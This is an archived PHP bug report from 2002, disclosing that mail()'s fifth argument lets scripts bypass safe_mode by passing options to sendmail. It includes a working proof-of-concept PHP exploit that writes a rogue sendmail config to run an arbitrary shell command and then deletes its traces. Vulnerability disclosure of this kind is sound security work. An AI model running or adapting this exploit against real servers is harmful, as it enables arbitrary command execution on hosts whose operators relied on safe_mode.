Bug #17745: bypassing safe_mode with mail()

From: Date: Thu, 13 Jun 2002 16:36:52 +0000
Subject: Bug #17745: bypassing safe_mode with mail()
Groups: php.bugs 
Request: Send a blank email to php-bugs+get-10359@lists.php.net to get a copy of this message
From:             cliph@isec.pl
Operating system: Any
PHP version:      4.2.1
PHP Bug Type:     Mail related
Bug description:  bypassing safe_mode with mail()

If PHP is configured with safe_mode option enabled, special restriction are
set up including limit on external binaries that may be executed from
within a PHP script.

The 5th argument to the mail() function (introduced in version 4.0.5)
allow specifying command line option to the sendmail binary. Some time ago
a bug was found in the mail() function allowing to pass shell
meta-characters in the 5th argument, leading to execute arbitrary shell
commands or external binaries. This bug was fixed in version 4.1.0.

However, mail() function is still vulnerable because it allows to pass
command line arguments to the sendmail binary which gives the ability to
influence its behavior (i.e. by using non-default aliases, custom
configuration files - other cases are possible with others MTAs)

Passing 5th argument should be disabled if PHP is configured in
safe_mode.

Sample exploit that works with sendmail MTA:

-----8<----- bypass_safe_mode.php -----8<-----
<?
$script=tempnam("/tmp", "script");
$cf=tempnam("/tmp", "cf");

$fd = fopen($cf, "w");
fwrite($fd, "OQ/tmp
Sparse=0
R$*" . chr(9) . "$#local $@ $1 $: $1
Mlocal, P=/bin/sh, A=sh $script");
fclose($fd);

$fd = fopen($script, "w");
fwrite($fd, "rm -f $script $cf; ");
fwrite($fd, $cmd);
fclose($fd);

mail("nobody", "", "", "", "-C$cf");
?>
-----8<----- bypass_safe_mode.php -----8<-----

Regards,
Wojciech Purczynski <cliph@isec.pl>
iSEC Security Research
http://isec.pl/

-- 
Edit bug report at http://bugs.php.net/?id=17745&edit=1
-- 
Fixed in CVS:        http://bugs.php.net/fix.php?id=17745&r=fixedcvs
Fixed in release:    http://bugs.php.net/fix.php?id=17745&r=alreadyfixed
Need backtrace:      http://bugs.php.net/fix.php?id=17745&r=needtrace
Try newer version:   http://bugs.php.net/fix.php?id=17745&r=oldversion
Not developer issue: http://bugs.php.net/fix.php?id=17745&r=support
Expected behavior:   http://bugs.php.net/fix.php?id=17745&r=notwrong
Not enough info:     http://bugs.php.net/fix.php?id=17745&r=notenoughinfo
Submitted twice:     http://bugs.php.net/fix.php?id=17745&r=submittedtwice
register_globals:    http://bugs.php.net/fix.php?id=17745&r=globals



Thread (2 messages)

« previous php.bugs (#10359) next »